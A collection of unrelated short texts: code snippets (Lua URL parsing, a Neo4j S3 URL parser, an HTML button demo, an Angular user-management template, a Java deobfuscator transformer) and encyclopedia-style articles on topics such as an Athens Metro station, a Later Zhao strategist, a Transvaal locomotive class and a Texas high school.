= query if type(query) == 'table' then query = M.buildQuery(query) end self.query = M.parseQuery(query) return query end --- set the authority part of the url -- The authority is parsed to find the user, password, port and host if available. -- @param authority The string representing the authority -- @return a string with what remains after the authority was parsed function M:setAuthority(authority) self.authority = authority self.port = nil self.host = nil self.userinfo = nil self.user = nil self.password = nil authority = authority:gsub('^([^@]*)@', function(v) self.userinfo = v return '' end) authority = authority:gsub("^%[[^%]]+%]", function(v) -- ipv6 self.host = v return '' end) authority = authority:gsub(':([^:]*)$', function(v) self.port = tonumber(v) return '' end) if authority ~= '' and not self.host then self.host = authority:lower() end if self.userinfo then local userinfo = self.userinfo userinfo = userinfo:gsub(':([^:]*)$', function(v) self.password = v return '' end) self.user = userinfo end return authority end --- Parse the url into the designated parts. -- Depending on the url, the following parts can be available: -- scheme, userinfo, user, password, authority, host, port, path, -- query, fragment -- @param url Url string -- @return a table with the different parts and a few other functions function M.parse(url) local comp = {} M.setAuthority(comp, "") M.setQuery(comp, "") local url = tostring(url or '') url = url:gsub('#(.*)$', function(v) comp.fragment = v return '' end) url =url:gsub('^([%w][%w%+%-%.]*)%:', function(v) comp.scheme = v:lower() return '' end) url = url:gsub('%?(.*)', function(v) M.setQuery(comp, v) return '' end) url = url:gsub('^//([^/]*)', function(v) M.setAuthority(comp, v) return '' end) comp.path = decode(url) setmetatable(comp, { __index = M, __tostring = M.build} ) return comp end --- removes dots and slashes in urls when possible -- This function will also remove multiple slashes -- @param path The string representing the path to clean -- @return a string of the path without unnecessary dots and segments function M.removeDotSegments(path) local fields = {} if string.len(path) == 0 then return "" end local startslash = false local endslash = false if string.sub(path, 1, 1) == "/" then startslash = true end if (string.len(path) > 1 or startslash == false) and string.sub(path, -1) == "/" then endslash = true end path:gsub('[^/]+', function(c) table.insert(fields, c) end) local new = {} local j = 0 for i,c in ipairs(fields) do if c == '..' then if j > 0 then j = j - 1 end elseif c ~= "." then j = j + 1 new[j] = c end end local ret = "" if #new > 0 and j > 0 then ret = table.concat(new, '/', 1, j) else ret = "" end if startslash then ret = '/'..ret end if endslash then ret = ret..'/' end return ret end local function absolutePath(base_path, relative_path) if string.sub(relative_path, 1, 1) == "/" then return '/' .. string.gsub(relative_path, '^[%./]+', '') end local path = base_path if relative_path ~= "" then path = '/'..path:gsub("[^/]*$", "") end path = path .. relative_path path = path:gsub("([^/]*%./)", function (s) if s ~= "./" then return s else return "" end end) path = string.gsub(path, "/%.$", "/") local reduced while reduced ~= path do reduced = path path = string.gsub(reduced, "([^/]*/%.%./)", function (s) if s ~= "../../" then return "" else return s end end) end path = string.gsub(path, "([^/]*/%.%.?)$", function (s) if s ~= "../.." then return "" else return s end end) local reduced while reduced ~= path do reduced = path path = string.gsub(reduced, '^/?%.%./', '') end return '/' .. path end --- builds a new url by using the one given as parameter and resolving paths -- @param other A string or a table representing a url -- @return a new url table function M:resolve(other) if type(self) == "string" then self = M.parse(self) end if type(other) == "string" then other = M.parse(other) end if other.scheme then return other else other.scheme = self.scheme if not other.authority or other.authority == "" then other:setAuthority(self.authority) if not other.path or other.path == "" then other.path = self.path local query = other.query if not query or not next(query) then other.query = self.query end else other.path = absolutePath(self.path, other.path) end end return other end end --- normalize a url path following some common normalization rules -- described on <a href="path_to_url">The URL normalization page of Wikipedia</a> -- @return the normalized path function M:normalize() if type(self) == 'string' then self = M.parse(self) end if self.path then local path = self.path path = absolutePath(path, "") -- normalize multiple slashes path = string.gsub(path, "//+", "/") self.path = path end return self end return M ```
```java /* * Neo4j Sweden AB [path_to_url * * This file is part of Neo4j. * * * path_to_url * * Unless required by applicable law or agreed to in writing, software * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package apoc.util.s3; import apoc.util.Util; import com.amazonaws.regions.Regions; import java.net.URI; import java.net.URL; import java.util.Map; import java.util.Objects; public class S3ParamsExtractor { private static final String PROTOCOL = "s3"; private static final String ACCESS_KEY = "accessKey"; private static final String SECRET_KEY = "secretKey"; private static final String SESSION_TOKEN = "sessionToken"; public static S3Params extract(URL url) throws IllegalArgumentException { return extract(url.toString()); } public static S3Params extract(String url) throws IllegalArgumentException { URI uri = URI.create(url); if (!PROTOCOL.equals(uri.getScheme())) { throw new IllegalArgumentException("Unsupported protocol '" + uri.getScheme() + "'"); } // aws credentials String accessKey = null; String secretKey = null; String sessionToken = null; if (uri.getUserInfo() != null) { String[] credentials = uri.getUserInfo().split(":"); if (credentials.length > 1) { accessKey = credentials[0]; secretKey = credentials[1]; } if (credentials.length > 2) { sessionToken = credentials[2]; } // User info part cannot contain session token. } else { Map<String, String> params = Util.getRequestParameter(uri.getQuery()); if (Objects.nonNull(params)) { if (params.containsKey(ACCESS_KEY)) { accessKey = params.get(ACCESS_KEY); } if (params.containsKey(SECRET_KEY)) { secretKey = params.get(SECRET_KEY); } if (params.containsKey(SESSION_TOKEN)) { sessionToken = params.get(SESSION_TOKEN); } } } // We have to use the getAuthority here instead of getHost, because addresses // like us-east-1.127.0.0.1:55220 would return null for the later one. // The downside is we have to clean the credentials preceding the @ if they are there, // which .getHost would not return String endpoint = uri.getAuthority(); int atIndex = endpoint.indexOf("@"); if (atIndex != -1) endpoint = endpoint.substring(atIndex + 1); Integer slashIndex = uri.getPath().indexOf("/", 1); String key; String bucket; if (slashIndex > 0) { // key key = uri.getPath().substring(slashIndex + 1); // bucket bucket = uri.getPath().substring(1, slashIndex); } else { throw new IllegalArgumentException( "Invalid url. Must be:\n's3://accessKey:secretKey@endpoint:port/bucket/key' or\n's3://endpoint:port/bucket/key?accessKey=accessKey&secretKey=secretKey'"); } String region = null; if (Objects.nonNull(endpoint)) { // Look for endpoint contains region for (Regions r : Regions.values()) { if (endpoint.toLowerCase().contains(r.getName().toLowerCase())) { region = r.getName().toLowerCase(); break; } } if (Objects.nonNull(region)) { // has specific endpoints for regions, otherwise remove region from endpoint if (!endpoint.contains("amazonaws.com")) { endpoint = endpoint.substring(endpoint.indexOf(".") + 1); } // If it contains region only, it is an invalid endpoint. if (region.toLowerCase().equals(endpoint.toLowerCase())) { endpoint = ""; } } } if (endpoint != null) { endpoint = endpoint.replaceAll(":443", "").replaceAll(":80", ""); } if (Objects.nonNull(endpoint) && endpoint.isEmpty()) { endpoint = null; } if (endpoint != null && "true".equals(System.getProperty("com.amazonaws.sdk.disableCertChecking", "false"))) { endpoint = "http://" + endpoint; } return new S3Params(accessKey, secretKey, sessionToken, endpoint, bucket, key, region); } } ```
The Central Committee of the 3rd Congress of the Russian Social Democratic Labour Party was in session from April to December 1905. Plenums The Central Committee was not a permanent institution. It convened plenary sessions and meetings. Three meetings were held between the 2nd Congress and the 1st Conference. When the CC was not in session, decision-making power was vested in the internal bodies of the CC itself; that is, the Politburo, Secretariat and Orgburo. None of these bodies were permanent either; typically they convened several times a month. Composition Members Candidates References Citations Bibliography Central Committee of the 3rd Congress of the Russian Social Democratic Labour Party
Shura () is the name of several rural localities in Russia: Shura, Kirov Oblast, a village in Podgortsevsky Rural Okrug of Yuryansky District in Kirov Oblast; Shura, Mari El Republic, a village in Pektubayevsky Rural Okrug of Novotoryalsky District in the Mari El Republic; Shura, Republic of Tatarstan, a selo in Arsky District of the Republic of Tatarstan
Tavros, officially Tavros–Eleftherios Venizelos () is a station on Line 1 of the Athens Metro, 6.171 km from the line's southern terminus at Piraeus. It is located in the municipality of Tavros in the regional unit of South Athens, Attica, near the boundary with Kallithea. The station is also known as Tavros-Eleftherios Venizelou, after the former Prime Minister Eleftherios Venizelos. History The first proposals for a station were made in 1925, when engineer Alexander Verdelis demarcated the Harokopou station at almost the same location as part of his proposal to build a wider subway network for the capital. Construction of the plant began in 1988, and opened on 6 February 1989 at a cost of 200 million drachmas. The station was renovated in 2004 in the run-up to the Summer Olympics that year. Facilities It has a central island platform serving two tracks and a reversing siding towards Kallithea station. Services In the past the station was the southern terminus of a peak hour train service "Tavros-Ano Patissia", later extended as "Tavros-Irini". References External links Railway stations in Greece opened in the 1980s Railway stations opened in 1989 1989 establishments in Greece Athens Metro stations Buildings and structures in South Athens Transport in South Athens Moschato-Tavros
The 2010–11 Kent State Golden Flashes men's basketball team represented Kent State University in the college basketball season of 2010–11. The team was coached by Geno Ford and played their home games at the Memorial Athletic and Convocation Center as members of the Mid-American Conference (MAC) East Division. On March 4, 2011, the team clinched their second-consecutive outright MAC regular season championship by defeating the Akron Zips 79–68 in Kent. It was the first back-to-back regular season titles in the MAC since Miami accomplished the feat in 1991 and 1992 and first back-to-back outright titles since Ball State in 1989 and 1990. Before the season Roster changes Recruiting Roster Coaching staff Schedule |- !colspan=9| Exhibition |- !colspan=9| Regular Season |- !colspan=9| Mid-American Conference tournament |- !colspan=9| 2011 NIT |- style="background:#f9f9f9;" | colspan=10 | *Non-Conference Game. #Rankings from AP Poll. All times are in Eastern Time Zone. |} After the season Comments Following their overtime loss to Akron in the MAC tournament championship game, the team was seeded 7th in the 2011 National Invitation Tournament, which they automatically qualified for by winning the MAC regular season championship. They played in Moraga, California at 2nd-seeded St. Mary's, and defeated the Gaels 71–70. Kent State next traveled across the country to face 6th-seeded Fairfield, and defeated the Stags in Bridgeport, Connecticut 72–68. The win advanced Kent State to the NIT quarterfinals for the first time since 2000. In the quarterfinals, they played top-seeded Colorado, and lost to the Buffaloes 81–74 in Boulder, Colorado to finish the season with an overall record of 25–12. On March 27, Bradley University announced they had hired Geno Ford to become their next head coach. Awards On March 7, 2011, head coach Geno Ford was named the Coach of the Year in the Mid-American Conference while Junior forward Justin Greene was named the conference Player of the Year. It was Ford's second consecutive Coach of the Year award and marks the eighth time a KSU coach has won the award (Jim McDonald, 1990; Gary Waters, 1999 and 2000; Stan Heath, 2002; and Jim Christian, 2006 and 2008). Ford also became the fourth coach in MAC history to win back-to-back Coach of the Year awards and won the award by one vote over Miami's Charlie Coles. Greene was the first KSU player since Al Fisher in 2008 to be named Player of the Year and the third Kent State player overall to win the award, joining DeAndre Haynes in 2006. Greene won the award by three votes over Julian Muvunga of Miami and D. J. Cooper of Ohio. On March 8, Kent State players Michael Porrini and Carlton Guyton were honored by the Mid-American Conference as Porrini was named MAC Defensive Player of the Year and Guyton was named MAC Sixth Man of the Year. Porrini was the fourth Kent State player to earn the award and marked the fifth Defensive Player of the Year award for Kent State (Demertic Shaw; 2001 and 2002; John Edwards, 2004; and Haminn Quaintance, 2008). Guyton was the third KSU player to win the Sixth Man award, after Anthony Simpson in 2010 and Kevin Warzynski in 2006. Notes Kent State Golden Flashes men's basketball seasons Kent State Golden Flashes Kent State Kent State Kent State
```html <!DOCTYPE html> <html lang="en-US"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width"> <title>First conditional example</title> </head> <body> <button>Start machine</button> <p>The machine is stopped.</p> </body> <script> const btn = document.querySelector('button'); const txt = document.querySelector('p'); btn.addEventListener('click', updateBtn); function updateBtn() { if(btn.textContent === 'Start machine') { btn.textContent = 'Stop machine'; txt.textContent = 'The machine has started!'; } else { btn.textContent = 'Start machine'; txt.textContent = 'The machine is stopped.'; } } </script> </html> ```
Sir John Guildesborough or Gildesburgh ( 1331 – 1389) was Knight of the Shire for Essex and Speaker of the House of Commons of England in 1380. He was knighted on 14 August 1378. He was born circa 1331 and educated at Oxford University. He was elected a Knight of the Shire to represent Essex five times between 1380 and 1388 and elected speaker of the house for both parliaments in 1380. Marriages He married, firstly, Margery, daughter and coheir of Sir Henry Garnet of Wennington and secondly, Elizabeth, daughter and eventual heiress of William Pembridge. He had no surviving children. See also List of speakers of the House of Commons of England References 1330s births 1389 deaths Speakers of the House of Commons of England People from Essex Alumni of the University of Oxford Year of birth uncertain English MPs January 1380 English MPs November 1380 English MPs February 1383 English MPs 1385 English MPs February 1388 English knights
```asciidoc xref::overview/apoc.map/apoc.map.fromValues.adoc[apoc.map.fromValues icon:book[]] + `apoc.map.fromValues([key1,value1,key2,value2,...])` label:function[] label:apoc-core[] ```
Sadu may refer to: Sadu, commune in Romania Sadu (Jiu), a river in Romania, tributary of the Jiu Sadu (Cibin), a river in Romania, tributary of the Cibin Kalateh-ye Sadu village in Iran Sadu language from China Sadashiv Shinde, known as "Sadu", an Indian cricketer Al Sadu, or Sadu, an embroidery form in geometrical shapes hand-woven by Bedouin people Sadu House in Kuwait, a museum of bedouin Sadu weaving, established by the Al Sadu society Sadu-Hem, one of the Ogdru Hem fictional creatures in the Hellboy universe Sadu Zai descendants of the Abakhel (Pashtun tribe) Ramkali Sadu, a Sikh composition See also Sadus, an American thrash metal band Sadhu, a holy person in hinduism Sathu, an exclamation in Pali language
USS Linnet (AM-76), was a of the United States Navy during World War II. Laid down on 18 June 1928 as the M/V Georgetown by Bath Iron Works Corp., Bath, Maine, for F. J. O'Hara and Sons, Inc. of Boston, Massachusetts. The ship was launched on 15 December 1928, and delivered on 19 December 1928. Renamed Linnet on 14 August 1940. Acquired by the U.S. Navy on 4 September 1940, conversion to a minesweeper began in September 1940 at the Bethlehem Steel Co. of East Boston, Massachusetts. Commissioned as USS Linnet (AM-76) on 3 March 1941, conversion was completed in March 1941. Reclassified as an Unclassified Miscellaneous Auxiliary IX-166 on 20 April 1944. World War II Atlantic operations Assigned to the Mine Warfare School, Yorktown, Virginia, Linnet engaged in experiments and training in the intricacies of mine operations. Upon completion of training in the spring 1942, the minesweeper sailed to join Fleet operations in the South Atlantic. South Atlantic operations Based at Recife, Brazil, Linnet played an important role in harbor clearing operations to permit the free movement of ships from that port. She regained in Brazilian waters until 22 February 1944, when she sailed for Norfolk, Virginia, arriving there 17 March. Linnet was reclassified IX-168 on 20 April for possible use as a small cargo ship. End-of-War deactivation Plans were changed, however, and she was decommissioned on 18 December 1944 at Boston, Massachusetts. Returned to the War Shipping Administration on 31 July 1945, and converted to mercantile service and renamed M/V Cambridge. Fate unknown. References External links Photo gallery At Naval Historical Center Ships built in Bath, Maine 1928 ships Kite-class minesweepers World War II minesweepers of the United States
Callidiellum is a genus of beetles in the family Cerambycidae, containing the following species: Callidiellum cupressi (Van Dyke, 1923) Callidiellum virescens Chemsak & Linsley, 1966 References Callidiini Cerambycidae genera
```html <abp-page [title]="'AbpIdentity::Users' | abpLocalization" [toolbar]="data.items"> <div id="identity-roles-wrapper" class="card"> <div class="card-body"> <div id="data-tables-table-filter" class="data-tables-filter mb-3"> <div class="input-group"> <input type="search" class="form-control" [placeholder]="'AbpUi::PagerSearch' | abpLocalization" [(ngModel)]="list.filter" /> </div> </div> <abp-extensible-table [data]="data.items" [recordsTotal]="data.totalCount" [list]="list" ></abp-extensible-table> </div> </div> <abp-modal [(visible)]="isModalVisible" [busy]="modalBusy"> <ng-template #abpHeader> <h3>{{ (selected?.id ? 'AbpIdentity::Edit' : 'AbpIdentity::NewUser') | abpLocalization }}</h3> </ng-template> <ng-template #abpBody> @if (form) { <form [formGroup]="form" (ngSubmit)="save()"> <ul ngbNav #nav="ngbNav" class="nav-tabs"> <li ngbNavItem> <a ngbNavLink>{{ 'AbpIdentity::UserInformations' | abpLocalization }}</a> <ng-template ngbNavContent> <abp-extensible-form [selectedRecord]="selected"></abp-extensible-form> </ng-template> </li> <li ngbNavItem> <a ngbNavLink>{{ 'AbpIdentity::Roles' | abpLocalization }}</a> <ng-template ngbNavContent> @for (roleGroup of roleGroups; track $index; let i = $index) { <div class="form-check mb-2"> <abp-checkbox *abpReplaceableTemplate="{ inputs: { checkboxId: 'roles-' + i, label: roles[i].name, formControl: roleGroup.controls[roles[i].name] }, componentKey: inputKey }" [checkboxId]="'roles-' + i" [formControl]="roleGroup.controls[roles[i].name]" [label]="roles[i].name" > </abp-checkbox> </div> } </ng-template> </li> </ul> <div class="mt-2 fade-in-top" [ngbNavOutlet]="nav"></div> </form> } @else { <div class="text-center"><i class="fa fa-pulse fa-spinner" aria-hidden="true"></i></div> } </ng-template> <ng-template #abpFooter> <button type="button" class="btn btn-outline-primary" abpClose> {{ 'AbpIdentity::Cancel' | abpLocalization }} </button> <abp-button iconClass="fa fa-check" [disabled]="form?.invalid" (click)="save()">{{ 'AbpIdentity::Save' | abpLocalization }}</abp-button> </ng-template> </abp-modal> <abp-permission-management #abpPermissionManagement="abpPermissionManagement" *abpReplaceableTemplate=" { inputs: { providerName: { value: 'U' }, providerKey: { value: providerKey }, visible: { value: visiblePermissions, twoWay: true } }, outputs: { visibleChange: onVisiblePermissionChange }, componentKey: permissionManagementKey }; let init = initTemplate " [entityDisplayName]="entityDisplayName" (abpInit)="init(abpPermissionManagement)" > </abp-permission-management> </abp-page> ```
Zhang Bin (; died 323), courtesy name Mengsun (孟孫), formally Marquess Jing of Puyang (濮陽景侯), was a key strategist for Shi Le, the founder of the Chinese/Jie state Later Zhao. Biography Zhang Bin's father Zhang Yao (張瑤) was a commandery governing during the early Jin Dynasty (266–420). Zhang Bin was studious in his youth, and once, comparing himself to the great strategist Zhang Liang, said, "I believe my intelligence and judgment to be no less than Zhang Liang's, but I have not met Gaozu (Liu Bang, the founder of Han Dynasty)." He served on the staff of a Jin prince, but was not trusted, and so he resigned his post. Later, after various agrarian rebellions started against Jin rule during the late reign of Emperor Hui of Jin, Zhang happened to meet Shi, and believed that Shi was the most capable general he met, and so he joined Shi's army. Initially, Shi did not consider him important, but after they became more acquainted, Shi began to value his advice more and more. In 311, when Shi, who was then a Han-Zhao general who was winning many battles but failing to hold territory, considered capturing the region between the Yangtze River and the Han River, it was Zhang who advised him against the plan, apparently reasoning that Shi's army was suitable for mobility on the plains, not the river- and lake-filled region near the Yangtze. In 312, when Shi's army was facing a food shortage and worried about an attack from the Jin general Sima Rui (later Emperor Yuan), Shi's other main strategist Diao Ying (刁膺) suggested offering to declare loyalty for Jin, which Zhang told Shi would be impossible, given the great enmity that Jin forces had for Shi after his participation in capturing and pillaging Sima Yue's funeral procession and then the capital Luoyang in 311 -- and that if he tried to retreat, Jin forces would not dare to engage him. Agreeing with Zhang, Shi retreated north without being attacked by Jin forces, and he made Zhang his right secretary -- but referred to him as Right Marquess (右侯), a title that he would use to address Zhang for the rest of Zhang's life, in lieu of name, thus showing greater respect for Zhang than for other subordinates. In summer 312, it was at Zhang's suggestion that Shi finally occupied Xiangguo (襄國, in modern Xingtai, Hebei) and held it permanently as his headquarters. For the next few years, while he was ostensibly a Han-Zhao general, with Zhang's assistance he expanded the territory he held to most of the area north of the Yellow River. By 316, Shi had (presumably under authority granted by the Han-Zhao emperor Liu Cong) created Zhang the Marquess of Puyang. In 319, after Shi declared independence from Han-Zhao and its new emperor Liu Yao, thus creating Later Zhao, Zhang served as the prime minister. Zhang died in early 323, and upon his death, Shi mourned him greatly and exclaimed, "Is it that heaven does not wish me to complete great things? Why was the Right Marquess robbed from me?" After Cheng Xia, a capable administrator but not the strategist that Zhang was (and the brother of Shi's concubine Consort Cheng), succeeded Zhang, Shi often sighed, "The Right Marquess abandoned me and let me work with this man. Was it not cruel for him to do so?" References Former Zhao people Later Zhao generals Sixteen Kingdoms chancellors 323 deaths 3rd-century births
The NZASM 18 Tonner 0-6-0ST of 1890 was a South African steam locomotive from the pre-Union era in Transvaal. In 1890, the Nederlandsche-Zuid-Afrikaansche Spoorweg-Maatschappij of the Zuid-Afrikaansche Republiek (Transvaal Republic) placed six locomotives in service on construction work. Since the railway classified its locomotives according to their weight, these engines were known as 18 Tonners. The Delagoa Bay line To have an outlet to a harbour, a railway from Delagoa Bay in the Portuguese colony of Mozambique to Pretoria had been proposed to the Volksraad of the Zuid-Afrikaansche Republiek (ZAR) by President F.T. Burgers as far back as 1872. At that time, the Cape Government Railways had not yet begun with its inland expansion from Wellington and the Natal Government Railways had not yet been established. The Portuguese supported the idea, since it would open a trade route from Mozambique into the interior. In 1883, Major Joachim Machado was sent to Transvaal to report on a proposed route through the Komati river and Crocodile river valleys towards the Highveld and Pretoria. The resulting agreement was for the Portuguese to construct the section from Delagoa Bay (now Maputo) to the border at Komatipoort, while the ZAR would be responsible for the continuation of the railway to Pretoria. The Nederlandsche-Zuid-Afrikaansche Spoorweg-Maatschappij (NZASM) was established on 21 June 1887 and proposed to construct two railway lines simultaneously. One was a railway from Johannesburg to Boksburg, which became known as the Randtram line. The other was the first section of the Delagoa Bay railway from the Mozambique border, via Nelspruit to Pretoria. The Randtram line was officially opened on 17 March 1890. The Portuguese line from Delagoa Bay had already reached the Transvaal border on 14 December 1887, but the first train from Delagoa Bay only entered Komatipoort on 1 July 1891 when the NZASM's contractors completed the bridge across the Komati river. The section from Komatipoort to Nelspruit was completed by 20 June 1892. Waterval Boven was reached on 20 June 1894 and Balmoral, near Witbank, on 20 October 1894. Here, connection was made with the section which had simultaneously been built eastwards from Pretoria. Manufacturer Six locomotives, built by Manning Wardle and Company, were placed in service by the NZASM in 1890 and were used mainly on construction work. Since the NZASM classified its locomotives according to their weight, they were known as . As was often the practice at the time, the locomotives were purchased from the manufacturer and imported by agents acting on behalf of the end customer, the agent in the case of the 18 Tonners being Mynssen and Company. They were built in two batches of three and shipped from the factory between March and June 1890. Characteristics The locomotives had inside cylinders, arranged at an incline, with slide valves which were actuated by Stephenson valve gear through rocker shafts. The cylinders and valve gear were placed between the plate frames and hidden from view by the wheels, which were coupled with external connecting rods. Together with the Cape Town Railway & Dock’s Blackie of 1859, these were the only two-cylinder locomotives with an inside cylinder and valve gear arrangement to see service in South Africa. There were minor differences between the locomotives of the two batches, the most notable being different footplate contours and buffer beams on the second batch. All six were equipped with capacity water tanks. Numbering conundrum The engine numbers on record for the 18 Tonners are a source of some confusion. They were rostered on the NZASM in the number range from 9 to 14, following on from the NZASM 10 Tonner engine numbers. The Manning Wardle works records, however, listed them as being numbered in the Delagoa Bay Railway number range from 53 to 58, following on from the engine numbers of the 10 Tonners which also served on the Delagoa Bay Railway. Furthermore, a Manning Wardle builder's picture of an 18 Tonner shows it with the Delagoa Bay Railway engine number 57. Similarly, in the works list of the Dutch manufacturer Machinefabriek Breda in respect of the 10 Tonners, those locomotives are also recorded with Delagoa Bay Railway engine numbers 50 to 52 instead of NZASM engine numbers 6 to 8. It appears, therefore, that the 10 Tonners and 18 Tonners entered service on, or were at least delivered to, the Delagoa Bay Railway and were only rostered on the NZASM at a later stage. The 10 Tonners and 18 Tonners were all delivered in 1890. At the time the first ones entered service in March and April 1890, the Randtram line, where the 10 Tonners were to be placed in service, had just been opened, with the first train being hauled by a 14 Tonner locomotive. However, the construction of the extensions of the Randtram line were still in progress towards the east to Springs and towards the west via Roodepoort to Krugersdorp. The extension from Germiston to Pretoria was only completed in December 1892, when a start was also made on the line from Pretoria to meet the approaching Delagoa Bay line, but Eerste Fabrieken in Pretoria East was only reached on 13 May 1894. From the Mozambique end, the bridge across the Komati river was only completed in July 1891, Nelspruit was only reached in June 1892, Waterval Boven two years later in June 1894 and the link-up with Pretoria was only completed at Balmoral in October 1894, more than four years after the 18 Tonners entered service. Since they were used on construction work, it can therefore be considered most likely that the 18 Tonners were first placed in service on the Delagoa Bay Railway, hence the Delagoa Bay Railway engine numbers, from where they progressed towards Pretoria as the railway was being built. Whether this could have been the case with all six 18 Tonners as well as the 10 Tonners, or whether at least some of the 18 Tonners were used on construction work from the Pretoria end as well, is not known. The section from the Delagoa Bay end was completed all the way up to Waterval Boven on the Highveld at about the same time that the section from the Pretoria end reached Eerste Fabrieken in Pretoria East. Service Imperial Military Railways All railway operations in the two Boer Republics, the ZAR and the Orange Free State, were taken over by the Imperial Military Railways (IMR) during the Second Boer War. The IMR renumbering register made provision for all six 18 Tonners, in the number range from 606 to 611. Three of them were later converted to stationary boilers no. 1592, 1593 and 1704. Central South African Railways At the end of the war, when the IMR was transformed into the Central South African Railways (CSAR), either one or two of the 18 Tonners survived and were renumbered, either as CSAR no. E or as numbers D and E. The uncertainty arises from the fact that the renumbering register lists CSAR no. D both as 14 Tonner no. 5 and as one of the 18 Tonner locomotives. Industrial service Two of the 18 Tonners were sold to industry, but neither was identified by engine number. One went to the Rand Collieries Schapenrust Coal Mines and was later sold again to Apex Colliery, where it was their no. 1. Another one went to Brakpan Mines, where it was their no. 2. By the time the South African Railways classification and renumbering program was implemented in 1912, none of them were in railway service any longer. Works numbers The NZASM 18 Tonner works numbers, factory shipping dates and Delagoa Bay Railway, NZASM and IMR engine numbers are listed in the table. References 0800 0-6-0ST locomotives C locomotives Manning Wardle locomotives Cape gauge railway locomotives Railway locomotives introduced in 1890 1890 in South Africa Scrapped locomotives
Kingwood High School is a Humble Independent School District secondary school located in the Kingwood community of Houston, Texas, United States and serves Portions of Kingwood and Atascocita. Ted Landry had been principal since May 29, 2011 until June 2018 when he announced his departure from Humble ISD to replace Greg Colschen as principal at The Woodlands High School in Conroe Independent School District. Dr. Michael Nasra has been the principal since June 2018. Kingwood was designated a National Blue Ribbon School in 1984, and it has received the Lone Star Cup five times (1999, 2001, 2003, 2004, and 2005). Its feeder schools are Creekwood Middle School and Riverwood Middle School. History Kingwood High School opened in the fall of 1979, under Principal Andy Wells. A 9th grade campus at 4015 Woodland Hills Drive opened in 1993. It was in operation until spring 2007. Kingwood was annexed into the City of Houston in 1996. Prior to 1996 both campuses were in the Kingwood census-designated place in an unincorporated area in Harris County. Since then, the school has undergone numerous additions and renovations, including a three-year project, with a cost of $50 million, which began in 2006, and completed December 2008. Prior to fall 2007, as 9th graders attended the separate campus, combined enrollment was over 4,000, making Kingwood High School the 7th largest Texas public high school by enrollment at the time. The former 9th grade campus was renovated and is now an independent high school, called Kingwood Park High School. Just before the beginning of the 2017-2018 school year, Kingwood High School was badly damaged by flooding caused by Hurricane Harvey. This meant that the students that year took their classes at Summer Creek High School. The school reopened in March 2018 after having repairs worth upwards of $70 million. Academics For the 2018-2019 school year, the school received an A grade from the Texas Education Agency, with an overall score of 93 out of 100. The school received a B grade in two domains, School Progress (score of 83) and Closing the Gaps (score of 89), and an A grade in Student Achievement (score of 95). The school received three of the seven possible distinction designations for Academic Achievement in Science, Academic Achievement in English Language Arts/Reading, and Academic Achievement in Social Studies. Circa 2001 the school began using the Smaller Learning Communities program so students had assistant principals provide counseling to them. Student body and faculty In 2006 the student population was 3,940. That year Todd Spivak of the Houston Press wrote "Most students hail from white, well-heeled families" and that "For them college is a birthright." In 2006 the number of the teaching staff exceeded 200. Athletics The Mustangs have won 32 team state championships and 5 national championships (boys' swimming and diving: 1993, 1994, 2006 and 2020 Boys' Cross Country: 1994, 1996, 2001). In 2006 Spivak credited the large population of the school for making the school's athletic programs strong. State championships for the Mustangs in sports include the following: Boys' basketball: 2005 Boys' baseball: 2005 Boys' cross-country: 1988, 1993, 1994, 1995, 1996, 1997, 1998, 2001, 2002 Boys' swimming and diving: 1993, 1994, 1995, 2002, 2006, 2007, 2009 Boys' Track and Field: 2014 Girls' Soccer: 1995, 1999 Girls' Swimming and Diving: 1994, 2004, 2010, 2011 Girls' Cross-Country: 1994, 1995, 1997, 2001, 2002, 2004, 2009, 2010 Girls' Lacrosse: 2006, 2013 Boys' Golf Individual - 1992 Boys Gymnastics - 2010 Notable alumni Jacqueline Anderson, actress and entrepreneur Scott Campbell (tattoo artist), New York-based artist Mindy Finn, politician Kyle Finnegan, professional baseball player, Washington Nationals Ryan Jorgensen, professional baseball player Todd Lowe, actor Josh Pastner, head basketball coach, Georgia Tech Lance Pendleton, professional baseball player, formerly of the New York Yankees and the Houston Astros Taylor and Blake Powell, musicians Travis Swanson, professional football player, Miami Dolphins Masyn Winn, professional baseball player, St. Louis Cardinals Nic Wise, professional basketball player Mike Gabler, Survivor 43 WINNER References External links Humble Independent School District high schools Public high schools in Houston Educational institutions established in 1979
```java package com.javadeobfuscator.deobfuscator.transformers.dasho; import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.concurrent.atomic.AtomicInteger; import org.objectweb.asm.tree.ClassNode; import org.objectweb.asm.tree.TryCatchBlockNode; import com.javadeobfuscator.deobfuscator.config.TransformerConfig; import com.javadeobfuscator.deobfuscator.transformers.Transformer; import com.javadeobfuscator.deobfuscator.utils.Utils; public class FakeExceptionTransformer extends Transformer<TransformerConfig> { @Override public boolean transform() throws Throwable { System.out.println("[DashO] [FakeExceptionTransformer] Starting"); AtomicInteger counter = new AtomicInteger(); Set<String> fakeExceptionClass = new HashSet<>(); classNodes().forEach(classNode -> { classNode.methods.stream().filter(Utils::notAbstractOrNative).forEach(methodNode -> { List<TryCatchBlockNode> remove = new ArrayList<>(); for(TryCatchBlockNode tcbn : methodNode.tryCatchBlocks) { String handler = tcbn.type; if(handler != null && classes.containsKey(handler)) { ClassNode handlerClass = classes.get(handler); if(handlerClass.methods.size() == 0 && handlerClass.superName.equals("java/lang/RuntimeException")) { remove.add(tcbn); fakeExceptionClass.add(handler); counter.incrementAndGet(); } } } methodNode.tryCatchBlocks.removeIf(remove::contains); }); }); fakeExceptionClass.forEach(str -> { classes.remove(str); classpath.remove(str); }); System.out.println("[DashO] [FakeExceptionTransformer] Removed " + counter.get() + " fake try-catch blocks"); System.out.println("[DashO] [FakeExceptionTransformer] Removed " + fakeExceptionClass.size() + " fake exception classes"); System.out.println("[DashO] [FakeExceptionTransformer] Done"); return counter.get() > 0; } } ```
```java /* * one or more contributor license agreements. See the NOTICE file distributed * with this work for additional information regarding copyright ownership. */ package io.camunda.optimize.dto.optimize.query.report.single.process.group.value; public class UserTasksGroupByValueDto implements ProcessGroupByValueDto { @Override public boolean isCombinable(Object o) { return o instanceof UserTasksGroupByValueDto || o instanceof FlowNodesGroupByValueDto; } } ```
